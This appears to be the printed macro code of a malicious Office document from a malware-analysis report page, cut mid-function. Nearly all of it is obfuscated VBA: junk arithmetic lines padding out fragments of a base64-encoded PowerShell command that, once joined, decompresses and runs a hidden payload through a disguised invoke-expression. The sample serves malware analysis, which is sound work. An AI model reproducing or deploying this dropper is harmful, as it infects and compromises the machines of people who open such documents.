YrjvUREE = "SgBL" + "AFYANAAxA" + "GEATgB6A" + "EwAZAB" + "xAH" + "MARQBFAHIAN" + "gBCA" + "GsAZ" + "wAvAEkAS"
Ufotj = Tan(87741)
jhJqv = jfuqL
TFUrs = CDbl(QGfGtk)
sIDIm = iCEUl
fGUhJ = Hex(GjMcQ * ChrW(owISnX + Int(nZZDAd * Rnd(44031)) * WdGPl * Log(67768 * MiwYWi - AEPsDU + Fix(51))))
LQPjrz = Tan(66026)
lPFbJbP = "AA" + "0AG8AQ" + "gBFAGcATQBIA" + "FQAVgBOADIATABz" + "AEYAM" + "wBRAHkAeAA2A" + "GcA" + "YgBCADA" + "Ab"
CTEmP = Tan(70618)
GMfQE = iVOBuA
UnIZC = CDbl(KNrju)
BGbcUk = CuwDM
QHhuAf = Hex(zJlPLf * ChrW(wasPdl + Int(CcDtuQ * Rnd(52978)) * iVkvlm * Log(19488 * TqDzor - LRoAU + Fix(51))))
BjZbIN = Tan(59093)
LIXojpi = "gBBAFcARgAwAEkA" + "dQB" + "LAEYAZABsA" + "HMARwB4ADMATwBr"
BGOVwf = Tan(30005)
PtzowZ = aoqKH
bFQHVc = CDbl(LUdYfz)
kocpM = hBvDf
cKznSD = Hex(lZAwN * ChrW(DcTuQY + Int(wGnlL * Rnd(1447)) * BKZKMb * Log(81654 * bMhLVH - tkqOM + Fix(51))))
cOGff = Tan(43452)
wdcotcr = "AEgAdgBLAEIAb" + "ABqAEsAT" + "gBPAE4ASwBLAHo" + "ASgBRAGU" + "AMwBNAHg" + "AZQ" + "AxAGsAZgBhA" + "FoAagBCA" + "HIANQBLAFUAOABH" + "AEIAbABoA"
VXNbRF = Tan(42788)
zqlmmD = GNECB
NDuzoo = CDbl(vTihE)
iEwGu = lmttE
ZGbHta = Hex(VzHUSd * ChrW(QzjjLE + Int(iZwIGK * Rnd(72585)) * wUJqV * Log(27339 * woZEEj - WjfcR + Fix(51))))
nFNizu = Tan(90609)
oYobl = "EIAOAB6AG" + "0AWgB" + "MAH" + "YAVABrAEQAMQ"
iwmPrF = Tan(6478)
LcIOiA = GHAzXD
ditlb = CDbl(GaqaTB)
pnoMi = iYDUC
nNGbz = Hex(XdRVIW * ChrW(dMhkl + Int(vjiCTS * Rnd(76572)) * SUoaJ * Log(83637 * oczzr - vXATiS + Fix(51))))
ArBoR = Tan(75060)
Ecnis = "BxAFYAV" + "QBGAE8A" + "dgBnAFo" + "AVABhAEkA" + "aAA5AGYAeQB2" + "AEgAbQBpAEsAdgB" + "SAFQAWgBlAGYAV" + "QBmAHEAM" + "gBLAHQ" + "AVQBRAEEA"
lELnI = Tan(22285)
FIdvwi = okhkuE
IhjoA = CDbl(SbTzIW)
ikRMrf = pOXXjn
MHTEW = Hex(FcXcwI * ChrW(Lipimc + Int(CESUsP * Rnd(9858)) * tKLIM * Log(21498 * Tzumn - GMpOjA + Fix(51))))
LZtkEt = Tan(36191)
JGlbWKBRU = "ZgBiA" + "EQASwBSAC" + "8AZgB" + "6AFQAdAB"
MvtLHpW = kImZWF + uXLDdODC + YrjvUREE + lPFbJbP + LIXojpi + wdcotcr + oYobl + Ecnis + JGlbWKBRU
End Function
Function mQhhjK()
On Error Resume Next
owLHd = Tan(90237)
MQpvTF = pjAoO
rdGJOR = CDbl(UQaESs)
iAjfKk = zYYnj
BjJkPf = Hex(PLsBs * ChrW(vNwql + Int(bHjoAU * Rnd(57637)) * XrEiWh * Log(70275 * kGponV - SIhnwo + Fix(51))))
DimLF = Tan(49566)
TwDmrfoJjQ = "VAFAAWABC" + "AHAAVg" + "BoAGMAQwBXADIAM" + "wBPADkAMA" + "BCAEgANQBWAGc"
uJPlC = Tan(97637)
GJfKb = dpAwpF
NjThf = CDbl(NoWvKc)
cqzaC = WKLwBc
qhOiq = Hex(zAHOq * ChrW(GNljkO + Int(iQVmr * Rnd(50154)) * EiOBhR * Log(10247 * wjZoF - cKUbGs + Fix(51))))
Xlbbkh = Tan(88473)
KTlTcfiX = "AKwBN" + "AG4AZAA0ADU" + "AWgBFAEUAbABOAE" + "4AaQA2A" + "HUAaQBUAHQ" + "AOQB" + "vA" + "DAAOQBGAH" + "MA"
UuWIw = Tan(34414)
mGjZc = OFJwIf
GBKkh = CDbl(jznZwk)
BilCj = WLXOv
PzJjRf = Hex(BnATjl * ChrW(wlTwjk + Int(RwjTHQ * Rnd(99388)) * uinPD * Log(35073 * WQWuU - XBKCQF + Fix(51))))
lrYhK = Tan(84869)
JhUXtcil = "Qw" + "BmAE8AcAA5AH" + "MALwB" + "3AEMAUQBkAGQ" + "AZQ" + "B1" + "AFgANQBFAEwA"
BZNJOc = Tan(85559)
RjTiHz = DclPG
vZRqKo = CDbl(DJFFL)
wzDMj = qijiii
NWnwvv = Hex(EGAwTE * ChrW(UpHaOX + Int(zRAQFX * Rnd(31891)) * LuiHM * Log(52592 * QNKJZ - swGsb + Fix(51))))
VpbET = Tan(21923)
MCwjqVr = "NA" + "BuADYANQA5" + "AGoANABW" + "ADIAegB" + "lAEYAQgB0A" + "Hc" + "AdwBWAF"
mQhhjK = TwDmrfoJjQ + KTlTcfiX + JhUXtcil + MCwjqVr
End Function
Function EWPpXOzqX()
On Error Resume Next
NEnjp = Tan(46458)
puGNL = MTZuQE
YGUtXi = CDbl(vakqO)
CNwchU = Fawqth
sBQhnO = Hex(lHktI * ChrW(FZPJQ + Int(PpzXwM * Rnd(90878)) * swIiA * Log(81255 * auJDCz - RFMjYJ + Fix(51))))
fLoauR = Tan(88716)
pZdKLRQDhAw = "IAbw" + "BZAHoAM" + "QBwAE" + "8AMQBSADkAbgB6A"
dTUsvW = Tan(75233)
FtSQff = GNzhY
LNnlnM = CDbl(TEFYAh)
qjJEL = GGpGtA
GiMvk = Hex(ARGjH * ChrW(JAjBo + Int(PzOPXE * Rnd(89981)) * tmFXh * Log(85067 * MjlrJn - hwjCCw + Fix(51))))
daEBM = Tan(56785)
iVspI = "DUAbwBJAFMAZgA" + "3AFQ" + "AOABYAGEAbwBOA" + "DcAdABqAHAA"
lrKIA = Tan(30229)
NMjwOV = TuKiGl
PfUCw = CDbl(QLAVU)
japaj = XCTmz
naEKf = Hex(XGsmVL * ChrW(GCwLBM + Int(iAlXi * Rnd(39803)) * Viizdj * Log(32877 * YOFjF - OWzEik + Fix(51))))
GbqRam = Tan(48996)
GuszJ = "dgBSAFIARw" + "BWAGsAbwBsAGcAe" + "ABFAEEAU" + "wBlAFcAVABsAFc" + "ARQ" + "AyAG8AY" + "gBXADgAaQA3AEoA" + "MABkAFEATABJ"
ohjKTB = Tan(45108)
psfYr = iGVGPP
oSzkwO = CDbl(rfCtr)
jhZVlw = MIMzLl
tkvTXJ = Hex(APjaV * ChrW(PRJplh + Int(uAjAU * Rnd(35376)) * RjFAZ * Log(24706 * OHjiWh - jSsuQ + Fix(51))))
buwWN = Tan(57773)
IaLTWc = "ADIAUQ" + "BhAC8AYgBGA" + "FcASABGA" + "GEAcgAwADMAYw" + "BZAFcAN" + "QBkAGwAdQ" + "BPAGM" + "ATQBlAGIA" + "WQB6AFc" + "AaQB"
hsDvw = Tan(9333)
rTJjBI = BKZHO
zLinGE = CDbl(zWiim)
rEWDoj = waPIM
HHZkYP = Hex(iYWJQp * ChrW(voVlat + Int(RzfGl * Rnd(44947)) * DWvaaM * Log(95148 * XmJTn - ShMnz + Fix(51))))
WHFihS = Tan(74663)
EahWWSodH = "EADQAbQBkADI" + "AWQBPAE4" + "ALwAwAHEAZQ" + "BGAFEAbw" + "BWAE" + "MAUw"
KuimsC = Tan(51595)
ajpcw = RibHGp
PTSmhb = CDbl(QRsIZH)
cIWbkp = HcwWs
qXDaMz = Hex(ubLAKb * ChrW(mIqhCo + Int(oaEjV * Rnd(99825)) * IqUPoz * Log(11752 * OSvcQw - wWQJL + Fix(51))))
wmRUDY = Tan(3231)
nriKmSiSO = "BEAG" + "0AMABG" + "AFcAMABDADQAM" + "wA" + "vADgAQw"
wtqzHm = Tan(70510)
lVbYtu = lZYHm
iPMoFJ = CDbl(DukaE)
PZFfJJ = Fkvhm
EOfvfR = Hex(RQdiI * ChrW(djork + Int(Uwiwf * Rnd(88019)) * zVZzU * Log(58402 * VFqXz - Jpfzv + Fix(51))))
XHjkRt = Tan(19703)
WrWpbjG = "AnACk" + "ALA" + "AgAFsA" + "SQB" + "vAC4AYw"
EWPpXOzqX = pZdKLRQDhAw + iVspI + GuszJ + IaLTWc + EahWWSodH + nriKmSiSO + WrWpbjG
End Function
Function TKDFE()
On Error Resume Next
SnZPAB = Tan(33412)
tsSJz = jXqRr
riRfDE = CDbl(GRkHE)
zjhfb = wnpvm
mbQbIu = Hex(BipnW * ChrW(LviKCJ + Int(OwCWws * Rnd(28408)) * tsBjfw * Log(33480 * FfJpHC - IwLlPb + Fix(51))))
dnlBS = Tan(76339)
UCjRj = "BvA" + "G0AUA" + "BSAEUA" + "UwBTA" + "GkATwBOAC4AYwB" + "vAE0Ac" + "AB" + "SAGUAcwBTAGkAb"
ucQjG = Tan(16210)
nDrwuS = itUcM
tanGw = CDbl(aPOwd)
dDLCsJ = tuVsT
VItwuR = Hex(GVfTp * ChrW(hniWZ + Int(NQQPO * Rnd(53897)) * LbSYY * Log(66054 * RdJjR - jFZIX + Fix(51))))
NjcNLX = Tan(92103)
JkJmGQwF = "wBO" + "AE0AbwBEAEU" + "AXQA" + "6ADo" + "ARABlAEMAbwBNAH" + "AAcgBFAHMA"
GYFsfW = Tan(88083)
znzHl = rDiBF
YIqHs = CDbl(OQjNG)
cvNtX = AuaaI
LPFssY = Hex(JRqNzh * ChrW(AIHdXk + Int(wipHwj * Rnd(25182)) * KiwzF * Log(93393 * RVYKdw - liQLaQ + Fix(51))))
nzDYEP = Tan(71669)
wwBXIUKdo = "UwA" + "pAHwAIAAlACA" + "AewBOAGUA" + "dwAtAE8AYgB" + "KAEUAYwB" + "UACAAIAB"
lurWI = Tan(13529)
PzcAX = mEMGkN
HrmFwJ = CDbl(hubAh)
AkiTGo = ZTSjZs
AsrRU = Hex(sJuIl * ChrW(zjiUWc + Int(jqBat * Rnd(679)) * lSnYCj * Log(7399 * WoDKf - wrqWhj + Fix(51))))
svwwHF = Tan(23090)
iHOuF = "TAHkAcwBUAGUAbQ" + "AuAE" + "kAbwAuAHMAVAB" + "yAEUA" + "YQBtAFIARQB" + "hAGQARQByACgA" + "IAAkAF8AI"
wSwRY = Tan(32751)
VVFFW = MpRLwo
zLDMUG = CDbl(Xpcvar)
XWEtGO = WURbJ
jFjkKR = Hex(KnOmwR * ChrW(CjsJi + Int(qoTMSp * Rnd(49733)) * cqmkK * Log(15577 * RIskJ - pkHSw + Fix(51))))
pXqcHz = Tan(59723)
WnMRzwNNtH = "AAsAFsAdABFAFgA" + "dAAuAEU" + "ATg" + "BjAE8ARAB" + "JAE" + "4AZwBdADoAO" + "gBhAFMAQwBpAEkA" + "IAApAH0" + "AIAApAC4AUgBlAG"
rmUSU = Tan(83986)
hwcBm = MkXAY
QAELt = CDbl(BklmO)
mfzUin = QRsIo
QKidmS = Hex(jcOHna * ChrW(wTHkuh + Int(PGKrFj * Rnd(52208)) * DYsQj * Log(55354 * WHwUn - JRrhEN + Fix(51))))
wKINGh = Tan(3279)
GiFSiYzVs = "EARAB" + "UAE" + "8ARQB" + "OAEQAKAA"
UljiA = Tan(51484)
pPXuz = zAlauB
pSKBW = CDbl(MsQiJw)
HBWSln = kbcKJ
qwKXm = Hex(jwOCa * ChrW(MBOjZk + Int(vWiwi * Rnd(36100)) * HjUNqA * Log(84474 * HNitr - Sitzvn + Fix(51))))
lGDCr = Tan(92660)
dbfrW = "pACAAfAA" + "mACAAKAAoAGc" + "AZQBUA" + "C0AVgBBA" + "FI" + "ASQBBAEIAbABlAC" + "AAJwAq" + "AE0AZ" + "AByACoAJwApAC4" + "ATgBhAE0AZQ"
sMCjE = Tan(95269)
zbALa = FtAwfs
dskwi = CDbl(QVaRLw)
dOvLC = urSDsn
ATrFF = Hex(wflAb * ChrW(zZjjZ + Int(pNVJr * Rnd(97441)) * vrwYKo * Log(84193 * MiziU - ozYsN + Fix(51))))
GFPNI = Tan(85511)
IIJmkXM = "BbADMALAAxA" + "DEALAAyA" + "F0ALQBqAE8AaQB" + "uACcAJwApAA" + "=="
TKDFE = UCjRj + JkJmGQwF + wwBXIUKdo + iHOuF + WnMRzwNNtH + GiFSiYzVs + dbfrW + IIJmkXM
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.